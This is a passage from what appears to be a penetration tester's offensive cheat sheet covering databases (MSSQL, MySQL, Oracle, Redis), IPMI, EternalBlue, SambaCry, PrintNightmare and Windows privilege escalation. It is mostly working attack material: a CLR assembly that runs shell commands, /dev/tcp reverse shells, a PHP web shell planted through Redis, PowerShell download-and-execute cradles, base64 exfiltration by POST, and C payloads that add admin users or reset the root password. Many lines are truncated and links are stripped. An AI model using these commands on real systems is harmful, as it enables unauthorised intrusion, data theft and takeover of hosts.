string sqlServer = "[Link]";
string database = "master";

string conString = $"Server = {sqlServer}; Database = {database}; Integrated Secur


SqlConnection con = new SqlConnection(conString);

try
{
[Link]();
[Link]("[+] Auth success!");
}
catch
{
[Link]("[-] Auth failed");
[Link](0);
}

// Impersonate sa user
sqlQuery("EXECUTE AS LOGIN = 'sa';", con);

// Drop existing procedure and assembly


sqlQuery(@"use msdb; DROP PROCEDURE IF EXISTS SqlCmdExec;", con);
sqlQuery(@"use msdb; DROP ASSEMBLY IF EXISTS myAssembly1;", con);

// Enable CLR integration


sqlQuery("use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC
[Link]("[+] Enabled CLR integration");
// Create new assembly
sqlQuery(@"CREATE ASSEMBLY myAssembly1 FROM 'C:\Windows\Tasks\[Link]' WITH
//sqlQuery(@"CREATE ASSEMBLY my_assembly FROM 0x31337... WITH PERMISSION_SET = UNS
[Link]("[+] Created new assembly");
// Create new procedure
sqlQuery(@"CREATE PROCEDURE [dbo].[SqlCmdExec] @execCommand NVARCHAR (4000) AS EXT
[Link]("[+] Created new procedure");
// Trigger custom class for RCE
string result = sqlQuery("EXEC SqlCmdExec 'whoami';", con);
[Link]($"[*] SqlCmdExec: {result}");
[Link]();
}
}
}

Custom assembly code example (must be compiled to [Link] ):

[Link]
using [Link];
using [Link];
using [Link];

public class StoredProcedures


{
[[Link]]
public static void cmdExec(SqlString execCommand)

{
Process proc = new Process();
[Link] = @"C:\Windows\System32\[Link]";
[Link] = [Link]($@" /c {execCommand}");
[Link] = false;
[Link] = true;
[Link]();

SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", [Link]


[Link](record);
[Link](0, [Link]().ToString());
[Link](record);
[Link]();
[Link]();
[Link]();
}
}

Convert custom assembly DLL to a hex string:

Convert-AssemblyToHex.ps1
$assemblyFile = "[Link]"
$stringBuilder = New-Object -Type [Link]
$fileStream = [[Link]]::OpenRead($assemblyFile)
while (($byte = $[Link]()) -gt -1) {
$[Link]($[Link]("X2")) | Out-Null
}
$[Link]() -join "" | Out-File [Link]
Tools
[Link]

sqsh

$ sqsh -S [Link] -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'


1> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object [Link]).DownloadString('htt
2> GO

[Link]

$ [Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link] [-windows-auth]


SQL> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object [Link]).DownloadString(\"

mssql_shell.py

[Link]

Change MSSQL_SERVER , MSSQL_USERNAME and MSSQL_PASSWORD before running.

A scenario when abusing SeImpersonatePrivilege with PrintSpoofer (BadPotato):

$ python3 mssql_shell.py
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD [Link] \Windows\System32\spool\drivers
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD Invoke-BadPotato.ps1 \Windows\System32\
// . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Windows\System32\spool\drivers\color\pwn
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> powershell -enc LgAgAC4AXABJAG4AdgBvAGsAZQAtAE

mssql-cli

[Link]

$ python -m pip install mssql-cli


$ mssql-cli -S [Link] -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'

PowerUpSQL

[Link]

PS > Get-SQLInstanceDomain
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQ
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQ
PS
PS >
> Get-SQLInstanceDomain
Get-SQLQuery -Instance|"[Link],1433"
Get-SQLConnectionTestThreaded -Threads 10 -Username
-Query "select sa -Password
@@servername"
PS > Invoke-SQLOSCmd -Username sa -Password 'Passw0rd!' -Instance [Link] -Com
PS > Invoke-SQLAudit -Instance WEB01 -Username sa -Password 'Passw0rd!' -Verbose

DAFT

[Link]

ESC

[Link]

MySQL / MariaDB

Basic CLI syntax:

$ mysql -h [Link] -P 3306 -u snovvcrash -p'Passw0rd!' -e 'show databases;'

Basic enumeration:

mysql> show GRANTS;


mysql> select @@hostname, @@tmpdir, @@version, @@version_compile_machine, @@plugin_dir;

UDF PrivEsc

[Link]
[Link]
[Link]

Install dependencies:

$ sudo apt install libmariadbclient-dev -y


$ git clone [Link] && cd lib_mysqludf_sys

Compile .so library (x86 example):

$ sudo apt install libc6-dev-i386 -y


$ gcc lib_mysqludf_sys.c -o lib_mysqludf_sys_x86.so -m32 -Wl,--hash-style=both -fPIC -Wall -I/
Compile .so library (x64 example):

$ gcc lib_mysqludf_sys.c -o lib_mysqludf_sys_x64.so -m64 -Wl,--hash-style=both -fPIC -Wall -I/

Convert library to hex:

$ xxd -p lib_mysqludf_sys.so | tr -d '\n'

Load library and call user-defined sys_exec function with a rev-shell.

MySQL (x86 example):

mysql> use mysql;


mysql> create table pwn(line blob);
mysql> insert into pwn values(load_file('/tmp/lib_mysqludf_sys_x86.so'));
mysql> select * from pwn into dumpfile '/usr/lib/lib_mysqludf_sys_x86.so';

Or load it from hex:


mysql> set @pwn = '7F..00';
mysql> select unhex(@pwn) into dumpfile '/usr/lib/lib_mysqludf_sys_x86.so';

mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys_x86.so';


mysql> select sys_exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/[Link]/1337 0>&1'");

MariaDB (x64 example):

MariaDB> show variables like '%plugin%'; # get lib path


MariaDB> use mysql;
MariaDB> create table pwn(line blob);
MariaDB> insert into pwn values(load_file('/tmp/lib_mysqludf_sys_x64.so'));
MariaDB> select * from pwn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysql

Or load it from hex:


MariaDB> set @pwn = 0x7F..00;
MariaDB> select binary @pwn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysq

MariaDB> create function sys_exec returns integer soname 'lib_mysqludf_sys_x64.so';


MariaDB> select sys_exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/[Link]/1337 0>&1'");

Oracle

[Link]
[Link]
[Link]
[Link]
[Link]

TNS Poison

[Link]

Oracle Database TNS Poisoning Attacks CVE-2012-1675

Check with Nmap:

$ sudo wget [Link]


$ sudo nmap -v -n -Pn -sV --script [Link] -oA CVE-2014-0160/nmap/tns-poison -p1

Brute SID with MSF:

msf > use auxiliary/scanner/oracle/sid_brute


msf > set RHOSTS file:[Link]
msf > set THREADS 25
msf > set VERBOSE false
msf > run

Brute SID with odat:

$ odat sidguesser -s [Link] -p 1521

Exploit with odat:


[Link]

$ odat tnspoison -s [Link] -d <SID> --test-module


$ odat tnspoison -s [Link] -d <SID> --poison

Tools

odat

[Link]

[Link]

Install manually (depreciated):

[Link]

$ git clone [Link] ~/tools/odat && cd ~/tools/odat


$ git submodule init && git submodule update
$ sudo apt install libaio1 python3-dev alien python3-pip
$ wget [Link]
$ wget [Link]
$ sudo alien --to-deb *.rpm
$ sudo dpkg -i *.deb
$ vi /etc/profile
...
export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
export PATH=${ORACLE_HOME}bin:$PATH
...
$ pip3 install cx_Oracle
$ python3 [Link] -h

Redis

[Link]
[Link]/wp-content/uploads/materials/[Link]
[Link]

[Link]

Check for anonymous login:


$ nc [Link] 6379
Escape character is '^]'.
echo "Hey, no AUTH required!"
$21
Hey, no AUTH required!
quit
+OK
Connection closed by foreign host.

Sensitive injection points for testing:

/var/www/html
/home/redis/.ssh
/var/lib/redis/.ssh
/var/spool/cron/crontabs
/var/spool/cron

$ for dname in `cat [Link]`; do redis-cli -h [Link] config set dir $dname | grep OK && ec

Web Shell

[Link]

$ redis-cli -h [Link] flushall


$ redis-cli -h [Link] set pwn '<?php system($_REQUEST['cmd']); ?>'
$ redis-cli -h [Link] config set dbfilename [Link]
$ redis-cli -h [Link] config set dir /var/www/html
$ redis-cli -h [Link] save

SSH Public Key

[Link]

$ ssh-keygen -t ecdsa -s 521 -f key


$ (echo -e "\n\n"; cat [Link]; echo -e "\n\n") > [Link]
$ redis-cli -h [Link] flushall
$ cat [Link] | redis-cli -h [Link] -x set pwn
$ redis-cli -h [Link] config set dbfilename authorized_keys
$ redis-cli -h [Link] config set dir /var/lib/redis/.ssh
$ redis-cli -h [Link] save
SQLite

[Link]

SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%';
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%
SELECT username,password FROM secret_database;

Authentication Brute Force

Hydra

$ hydra -V -t 20 -f -I -L [Link] -P /usr/share/john/[Link] [Link] -s 8888 smtp


$ hydra -V -t 20 -f -I -l admin -P /usr/share/john/[Link] [Link] -s 8888 ftp

Patator

$ patator smtp_login host=[Link] port=8888 user=FILE0 password=FILE1 0=[Link] 1=/usr/sh


$ patator ftp_login host=[Link] port=8888 user=admin password=FILE0 0=/usr/share/john/passw

crowbar

[Link]

RDP

$ crowbar -b rdp -s [Link]/24 -u snovvcrash -c 'Passw0rd!' -l ~/ws/logs/[Link] -o ~/

File Transfer

[Link]
[Link]

Об HTTP-серверах для трансфера файлов в Linux


snovvcrash@gh-pages:~$ _

Base64
String to base64 and POST with PowerShell:

PS > $str = cmd /c net user /domain


PS > $base64str = [Convert]::ToBase64String([[Link]]::[Link]($str))
PS > IWR -Uri [Link] -Method POST -Body $base64str

File to base64 with certutil :

Cmd > certutil -encode <FILE_TO_ENCODE> C:\Windows\Temp\encoded.b64


Cmd > type C:\Windows\Temp\encoded.b64

Base64 file transfer from Linux to Windows:

$ base64 -w0 [Link]; echo


...BASE64_CONTENTS...
PS > Add-Content -Encoding UTF8 tunnel.b64 "<BASE64_CONTENTS>" -NoNewLine
PS > $data = Get-Content -Raw tunnel.b64
PS > [[Link]]::WriteAllBytes("C:\inetpub\wwwroot\uploads\[Link]", [Convert]::FromBase64S

Hex
Compress a binary file and transfer it to Windows by copy-pasting commands into the console:

$ upx -9 [Link]
$ exe2hex -x [Link] -p [Link]
$ cat [Link] | xclip -i -sel c

PowerShell
PowerShell upload file:
PS > (New-Object [Link]).UploadFile("[Link] "[Link]")

PowerShell auto detect proxy, download file from remote HTTP server and run it:

$proxyAddr=(Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Setting

PowerShell manually set proxy and upload file to remote HTTP server:

$client=New-Object [Link];$proxy=New-Object [Link]("[Link]

Another proxy-aware download cradle:

New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null


$keys = Get-ChildItem "HKU:\" -ErrorAction SilentlyContinue
ForEach ($key in $keys) {if ($[Link] -like "*S-1-5-21-*") {$start=$[Link](10);br
$proxyAddr=(Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Inter
[[Link]]::DefaultWebProxy = New-Object [Link]("[Link]
$wc = New-Object [Link]
$[Link]("[Link] | IEX
Remove-PSDrive -Name HKU -Force

/dev/tcp
Attacker is the sender:

# Sender:
root@kali:~$ tar -zcvf [Link] folder
root@kali:~$ nc -w3 -lvnp 1234 < [Link]
# Recipient:
www-data@victim:~$ bash -c 'cat < /dev/tcp/[Link]/1234 > .[Link]'
www-data@victim:~$ tar -zxvf .[Link]

Victim is the sender:

# Recipient:
root@kali:~$ nc -w3 -lvnp 1234 > [Link]
# Sender:
www-data@victim:~$ bash -c 'cat < [Link] > /dev/tcp/[Link]/1234'

SMB
[Link]

Start SMB server:

$ sudo [Link] -smb2support share `pwd`

Mount SMB in Windows with net use :

$ sudo [Link] -username snovvcrash -password 'Passw0rd!' -smb2support share `pwd`


Cmd > net use Z: \\[Link]\share
Cmd > net use Z: \\[Link]\share /u:snovvcrash 'Passw0rd!'

Mount SMB in Windows with New-PSDrive :

$ sudo [Link] -username snovvcrash -password 'Passw0rd!' -smb2support share `pwd`


PS > $pass = 'Passw0rd!' | ConvertTo-SecureString -AsPlainText -Force

PS > $cred = New-Object [Link]('snovvcrash', $pass)


Or
PS > $cred = New-Object [Link]('snovvcrash', $(ConvertTo-Se
PS > New-PSDrive -Name Z -Root \\[Link]\share -Credential $cred -PSProvider FileSystem
PS > cd Z:

net share

Cmd > net share pentest=c:\smb_pentest /GRANT:"Anonymous Logon,FULL" /GRANT:"Everyone,FULL"


Or
Cmd > net share pentest=c:\smb_pentest /GRANT:"Administrator,FULL"
Cmd > net share pentest /delete

FTP

$ python -m pip install pyftpdlib


$ python -m pyftpdlib -Dwp 2121
Cmd > cd C:\Windows\System32\spool\drivers\color
Cmd > echo 'open [Link] 2121' > [Link]
Cmd > echo 'user anonymous' >> [Link]
Cmd > echo 'anonymous' >> [Link]
Cmd > echo 'binary' >> [Link]
Cmd > echo 'put [Link]' >> [Link]
Cmd > echo 'bye' >> [Link]
Cmd > ftp -v -n -s:[Link]
TFTP
Send [Link] from Windows to Linux (TFTP client must be enabled on Windows):

$ sudo atftpd --daemon --bind [Link] --port 69 ./tftp


Cmd > tftp -i [Link] put [Link]
$ sudo pkill atftpd

IPMI
Intelligent Platform Management Interface

[Link]
[Link]

Discovery

msf > use auxiliary/scanner/ipmi/ipmi_version


msf > set RHOSTS file:[Link]
msf > set THREADS 25
msf > run

Dump Hashes
CVE-2013-4786

Dump hashes:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes


msf > set OUTPUT_HASHCAT_FILE ipmi_hashes.txt
msf > set RHOSTS file:[Link]
msf > set THREADS 25
msf > run

Recover plaintext passwords:

$ hashcat -m 7300 -O -a 0 -w 4 --session=ipmi -o [Link] [Link] seclists/Passwords/darkc0de


Cipher Zero
CVE-2013-4805

Discover with MSF:

msf > use auxiliary/scanner/ipmi/ipmi_cipher_zero


msf > set RHOSTS file:[Link]
msf > set THREADS 25
msf > run

Guess existing admin username. If ADMIN username is correct, the list command will succeed
(password doesn't matter):

$ sudo apt install ipmitool

$ ipmitool -I lanplus -C 0 -H [Link] -U ADMIN -P DummyPassw0rd user list

Add new admin user (only existing admin username is needed):

$ ipmitool -I lanplus -C 0 -H [Link] -U ADMIN -P DummyPassw0rd user set name <ID> snovvcras
$ ipmitool -I lanplus -C 0 -H [Link] -U ADMIN -P DummyPassw0rd user set password <ID> 'Pass
$ ipmitool -I lanplus -C 0 -H [Link] -U ADMIN -P DummyPassw0rd user priv <ID> 4
$ ipmitool -I lanplus -C 0 -H [Link] -U ADMIN -P DummyPassw0rd user enable <ID>

Anonymous Authentication
Can be discovered with MSF ipmi_dumphashes but also with ipmitool:

$ ipmitool -I lanplus -H [Link] -U '' -P '' user list

Change password of a named user account:

$ ipmitool -I lanplus -H [Link] -U '' -P '' user set password <ID> 'Passw0rd!'

HPE iLO 4

[Link]
[Link]

Add Admin User

CVE-2017-12542

Exploit with Python:

[Link]

$ ./[Link] -t -e -u snovvcrash -p 'Passw0rd!' [Link]

Exploit with MSF:

msf > use auxiliary/admin/hp/hp_ilo_create_admin_account


msf > set RHOSTS [Link]
msf > set USERNAME snovvcrash
msf > run

Kiosk Breakout

[Link]

Windows

[Link]
environments/

[Link]
[Link]

Navigating with environment variables and shell directive:

ENV Location

%HOMEDRIVE% , %SystemDrive% "C:\"

%WINDIR% , %SystemRoot% "C:\Windows"

%PROGRAMFILES% "C:\Program Files"

%COMSPEC% "C:\Windows\System32\[Link]"
%COMMONPROGRAMFILES% "C:\Program Files\Common Files"
%HOMEPATH% , %USERPROFILE% "C:\Documents and Settings\Username"

%ALLUSERSPROFILE% "C:\Documents and Settings\All Users"

%PROGRAMFILES(X86)% "C:\Program Files (x86)" (only in 64-bit version)

"C:\Documents and Settings\Username\Applicatio


%APPDATA%
Data"

"C:\Documents and Settings\Username\Local


%TEMP% , %TMP%
Settings\Temp"

"C:\Program Files (x86)\Common Files" (only in 6


%COMMONPROGRAMFILES(x86)%
bit version)

Command Location

shell:System "C:\Windows\System32"

shell:Downloads Current user's "Downloads" folder

shell:MyComputerFolder "This PC" window

Linux

gtkdialog

HTLM-based pseudo terminal emulator (useful when there's no other terminal apps available):

[Link]
<window>
<vbox>
<vbox scrollable="true" width="500" height="400">
<edit>
<variable>CMDOUTPUT</variable>
<input file>/tmp/[Link]</input>
</edit>
</vbox>
<hbox>
<text><label>Command:</label></text>
<entry><variable>CMDTORUN</variable></entry>
<button>
<label>Run</label>
<action>$CMDTORUN > /tmp/[Link] 2>&1</action>
<action>refresh:CMDOUTPUT</action>
</button>
</hbox>
</vbox>
</window>

The shell can be invoked with /usr/bin/gtkdialog -f [Link]

Low-Hanging Fruits

net_api
CVE-2008-4250, MS08-067

Check:

$ sudo nmap -n -Pn -sV --script smb-vuln-ms08-067 [Link] -p139,445


Or

msf > use exploit/windows/smb/ms08_067_netapi


msf > set RHOSTS file:[Link]
msf > check

Exploit:

msf > use exploit/windows/smb/ms08_067_netapi


msf > set RHOSTS file:[Link]
msf > set LHOST eth0
msf > set LPORT 1337
msf > run

EternalBlue
CVE-2017-0144, MS17-010

MSF

Check:

$ sudo nmap -n -Pn -sV --script smb-vuln-ms17-010 [Link] -p139,445


Or
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set RHOSTS file:[Link]
msf > set THREADS 25
msf > run
Exploit with:

msf > use exploit/windows/smb/ms17_010_eternalblue


msf > set RHOSTS file:[Link]
msf > set LHOST eth0
msf > set LPORT 1337
msf > run

EternalRomance / EternalSynergy / EternalChampion

Exploit with ms17_010_psexec :

msf > use exploit/windows/smb/ms17_010_psexec


msf > set RHOSTS file:[Link]
msf > set LHOST eth0
msf > set LPORT 1337
msf > run

Exploit with ms17_010_command :

msf > use auxiliary/admin/smb/ms17_010_command


msf > set RHOSTS file:[Link]
msf > set COMMAND "net user snovvcrash Passw0rd! /add && net localgroup administrators snovvcr
msf > run

Manually

[Link]
[Link]

Send MSF payload and execute it with send_and_execute.py :

$ msfvenom -p windows/shell_reverse_tcp LHOST=[Link] LPORT=443 EXITFUNC=thread -f exe -a


$ python send_and_execute.py [Link] [Link]

Or just execute commands on host via zzz_exploit.py (at least one named pipe must be accessible on
target):

$ python zzz_exploit.py

zzz_exploit.py
...
def smb_pwn(conn, arch):
service_exec(conn, r'cmd /c net user snovvcrash Passw0rd! /add')
service_exec(conn, r'cmd /c net localgroup administrators snovvcrash /add')
service_exec(conn, r'cmd /c netsh firewall set opmode disable')
...

For x86 EternalBlue shellcodes use AutoBlue-MS17-010.

FuzzBunch (Wine)

[Link]

[Link]

[Link]

SambaCry

CVE-2017-7494 (Samba 3.5.0 < 4.4.14/4.5.10/4.6.4)

MSF

msf > use exploit/linux/samba/is_known_pipename


msf > set SMB::AlwaysEncrypt false
msf > set SMB::ProtocolVersion 1
msf > run

Manually

[Link]
[Link]

Compile .so SUID shared library:

pwn.c
// gcc -shared -fPIC -o [Link] pwn.c

#include <stdio.h>
#include <stdlib.h>

static void pwn() __attribute__((constructor));

void pwn() {
setresuid(0,0,0);
system("echo 'root:Passw0rd!'|chpasswd");
}

Get real share path on the target's filesystem:

$ rpcclient -U'%' -c'netsharegetinfo ShareName' [Link]


path: /home/snovvcrash/sharename

Upload [Link] to target and then run the exploit:

$ pip install virtualenv


$ virtualenv -p /usr/bin/python2.7
$ source venv/bin/[Link]
$ pip install -r [Link]
$ . venv/bin/activate
$ ./[Link] -t [Link] -e [Link] -s ShareName -r /home/snovvcrash/sharename/[Link] -u a

BlueKeep
CVE-2019-0708

Check:

msf > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep


msf > set RHOSTS file:[Link]
msf > set THREADS 25
msf > run

Exploit:

msf > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce


msf > set RHOSTS file:[Link]
msf > set LHOST eth0
msf > set LPORT 1337
msf > run

PrintNightmare
CVE-2021-16751, CVE-2021-34527

[Link]
[Link]
Check

CrackMapExec

[Link]

$ cme smb [Link] -u snovvcrash -p 'Passw0rd!' -M spooler

ItWasAllADream

[Link]

$ poetry run itwasalladream -d [Link] -u snovvcrash -p 'Passw0rd!' [Link]/24

Exploit

C/C++

RCE (fork of the original repo):

[Link]

LPE:

[Link]

Python

RCE:

[Link]
[Link]
[Link]

Usage

1. Prepare an SMB share with anonymous authentication allowed ( [Link] also works):

2. Generate an evil DLL: a С2 stager / add user to a privileged group (1, 2, 3, etc.) / invoke a custom
command (see example below).
3. Run the exploit:

$ python [Link] [Link]/snovvcrash:'Passw0rd!'@[Link] '\\[Link]\sh


pwn.c
// x86_64-w64-mingw32-gcc pwn.c -o [Link] -shared

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

// Default function that is executed when the DLL is loaded


void Entry() {
system("powershell -enc <BASE64_PWSH_CODE>");
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {


switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Entry, 0, 0, 0);
break;
case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Leveraging PrintNightmare to Abuse RBCD and DCSync the Domain


snovvcrash@gh-pages:~$ _

C#

RCE + LPE:

[Link]

PowerShell

LPE:

[Link]

Reproducibility

Flowchart by @wdormann:
Mitigation

[Link]

LPE
Local Privilege Escalation

PayloadsAllTheThings/Windows - Privilege [Link]

Windows

Local Enumeration

[Link]

System Info

PS > Get-ComputerInfo
Cmd > systeminfo
PS > [Environment]::Is64BitOperatingSystem
Cmd > (WMIC OS Get OSArchitecture)[2]

Products & Services

Cmd > WMIC Product GET Name


Cmd > WMIC Service Where "State='Running'" Get Name,DisplayName,PathName,StartMode,State | fin

Network & Process

[Link]

PS > Get-Process
PS > [Environment]::Is64BitProcess
Cmd > tasklist /SVC
Cmd > net start
Cmd > ipconfig /all
Cmd > netstat -ano | findstr /i list
PS > Get-NetTCPConnection -State Listen
PS > [[Link]]::GetHostAddresses('hostname') | % {$_.IPAddressToString}
Cmd > route print [-4]
Cmd > reg query HKLM\SYSTEM\CurrentControlSet\Services\NPCAP

Registry & Filesystem

PS > gci . -recurse -file -ea SilentlyContinue | select fullname


PS > gci "$env:userprofile" -recurse -file -ea SilentlyContinue | select fullname
PS > gi (Get-PSReadLineOption).HistorySavePath
PS > gc $env:appdata\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
PS > cmd /c dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
PS > cmd /c where /R C:\ *.ini
PS > cmd /c 'cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt'
PS > reg query HKLM /f "password" /t REG_SZ /s
PS > reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | findstr /i "Defa
Or
PS > Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | select D
PS > reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
PS > [[Link]]::[Link]("[Link]

Users & Groups

PS > Get-LocalGroup
PS > Get-LocalGroupMember Administrators
PS > [wmi] "Win32_userAccount.Domain='$env:computername',Name='Administrator'"
AccessChk

[Link]

[Link]

[Link]

Find weak file permissions:

Cmd > .\[Link] /accepteula -uwsq Users c:\*.*


Cmd > .\[Link] /accepteula -uwsq "Authenticated Users" c:\*.*

Find weak directory permissions:

Cmd > .\[Link] /accepteula -uwdsq Users c:\

Cmd > .\[Link] /accepteula -uwdsq "Authenticated Users" c:\

Find weak service permissions:

Cmd > .\[Link] /accepteula -uwcqv Users *


Cmd > .\[Link] /accepteula -uwcqv "Authenticated Users" *

upnphost & SSDPSRV (Windows XP)

[Link]
PayloadsAllTheThings/Example with Windows XP SP0/SP1 - upnphost

[Link]
[Link]

Weak Service Permissions

Check service permissions with a script:

PS > Get-ServiceAcl -Name VulnerableSvc | select -ExpandProperty Access

Change ownership of the malicious binary to LocalSystem:

PS > $Acl = Get-ACL $filename


PS > $AccessRule= New-Object [Link]("NT AUTHORITY\
PS > $[Link]($AccessRule)
PS > Set-Acl $filename $Acl
Set binPath to point to the malicious binary and trigger vulnerable service:

PS > cmd /c sc config VulnerableSvc binPath= "[Link]" obj= LocalSystem start= demand
PS > cmd /c sc qc VulnerableSvc
PS > cmd /c sc start VulnerableSvc

Unquoted Service Paths

[Link]

CreateProcessA function parses an unquoted BINARY_PATH_NAME like follows:

C:\Program Files\Vulnerable Service\Vuln [Link]


-> C:\[Link]
-> C:\Program Files\[Link]
-> C:\Program Files\Vulnerable Service\[Link]

-> C:\Program Files\Vulnerable Service\Vuln [Link]

It gives an attacker the ability to inject malicious binary into path to be executed with vulnerable service
permissions if she has enough privileges to write into one of these directories:

PS > Get-Acl -Path "C:\Program Files\Vulnerable Service\" | fl

List services and their binary path:

PS > wmic service get name, pathname

Query VulnerableSvc :

Cmd > sc qc VulnerableSvc


[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VulnerableSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Vulnerable Service\Vuln [Link]
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Vulnerable Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

Exploit VulnerableSvc :

Cmd > move [Link] "C:\Program Files\Sub Directory\[Link]"


Cmd > sc stop VulnerableSvc
Cmd > sc start VulnerableSvc
...Or reboot the PC if the attacker has SeShutdownPrivilege...
Cmd > shutdown /r /t 0

Malious binary example:

pwn.c
// i686-w64-mingw32-gcc -o [Link] pwn.c

#include <stdio.h>
#include <stdlib.h>

void main() {
system("net user snovvcrash Passw0rd! /add");
system("net localgroup administrators snovvcrash /add");
}

Always Install Elevated

[Link]

Check:

Cmd > reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer


Cmd > reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Exploit:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[Link] LPORT=1337 -f msi -o rev.m


Cmd > msiexec /quiet /qn /i [Link]

wuauserv

PS > Get-Acl HKLM:\SYSTEM\CurrentControlSet\services\* | format-list * | findstr /i "snovvcras


PS > Get-ItemProperty HKLM:\System\CurrentControlSet\services\wuauserv
PS > reg add "HKLM\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /
PS > Start-Service wuauserv
...get reverse shell...
PS > Get-Service wuauserv
PS > Stop-Service wuauserv

UPnP Device Host Service

CVE-2019-1405, CVE-2019-1322 - Windows 10, version 1803 < 1809


[Link]

[Link]

Cmd > .\[Link] "C:\Temp\[Link]"

RpcEptMapper

CVE-2021-27091

[Link]

[Link]

[Link]

Potentionally vulnerable Windows versions:

Windows 7
Windows Server 2008 R2

Windows 8
Windows Server 2012

Compile into Release and exploit:

Cmd > .\[Link] -c cmd -i

HiveNightmare

CVE-2021–36934

[Link]
[Link]
[Link]
[Link]

PowerShell one-liner:

PS > powershell -c "foreach ($i in 1..10){$p='\\.\HarddiskVolumeShadowCopy{0}\windows\system32

.NET Sandboxes

When an attacker can compile arbitrary code in privileged context but a Sandbox is in game (like in uMod)
the following approaches can be leveraged to gain admin privs:
Registry keys manipulation.

Deserialization attacks.

Example #1 (Registry) - AlwaysInstallElevated:

using Microsoft.Win32;
...
using (var hklm = [Link]([Link], RegistryView.Registry64))
using (var key = [Link](@"SOFTWARE\Policies\Microsoft\Windows\Installer", true))
{
[Link]("AlwaysInstallElevated", 0x1, [Link]);
}

using (var hkcu = [Link]([Link], RegistryView.Registry64))


using (var key = [Link](@"SOFTWARE\Policies\Microsoft\Windows\Installer", true))
{
[Link]("AlwaysInstallElevated", 0x1, [Link]);
}
...

Example #2 (Registry) - Service binary path:

using Microsoft.Win32;
...
RegistryKey key = [Link](@"SYSTEM\CurrentControlSet\services\wuauser
if (key != null)
{
[Link]("ImagePath", "c:\windows\system32\spool\drivers\color\[Link] -e [Link]
[Link]();
}
...

Example #3 (Deserialization) - BinaryFormatter:

using System;
using [Link];
using [Link];
...
byte[] payload = Convert.FromBase64String("<BASE64_PAYLOAD>");
//string payload_decoded = [Link](payload);
BinaryFormatter formatter = new BinaryFormatter();
Stream stream = new MemoryStream(payload);
object obj = [Link](stream);
...

Tools
Windows-Exploit-Suggester

[Link]

$ python -u [Link] -d [Link] -i [Link] --ostext 'wi

PowerUp

[Link]

[Link]

[Link]

PS > Invoke-PrivescAudit

JAWS

[Link]

PS > .\jaws-enum.ps1 -OutputFileName [Link]

winPEAS

[Link]
suite/tree/master/winPEAS/winPEASexe

Run from memory:

*Evil-WinRM* PS > menu


*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > Invoke-Binary [Link] quiet log
Or
PS > [[Link]]::SecurityProtocol = [[Link]]::Tls12
PS > $url = "[Link]
PS > $wp = [[Link]]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsi
PS > [[Link]]::Main("quiet log")

PrivescCheck

[Link]

PS > Invoke-PrivescCheck -Extended | tee [Link]


Seatbelt

[Link]

[Link]
Seatbelt.ps1

PS > .\[Link] CredEnum


PS > .\[Link] ScheduledTasks -outputfile=[Link]
PS > Invoke-Seatbelt -Command "-group=all"
PS > Invoke-Seatbelt -Command "-group=system"
PS > Invoke-Seatbelt -Command "-group=user"

Linux

[Link]

Filesystem

Grep for sensitive keywords:

$ grep -nir passw /etc/ 2>/dev/null

Find and list all files newer than 2020-03-16 and not newer than 2020-03-17 :

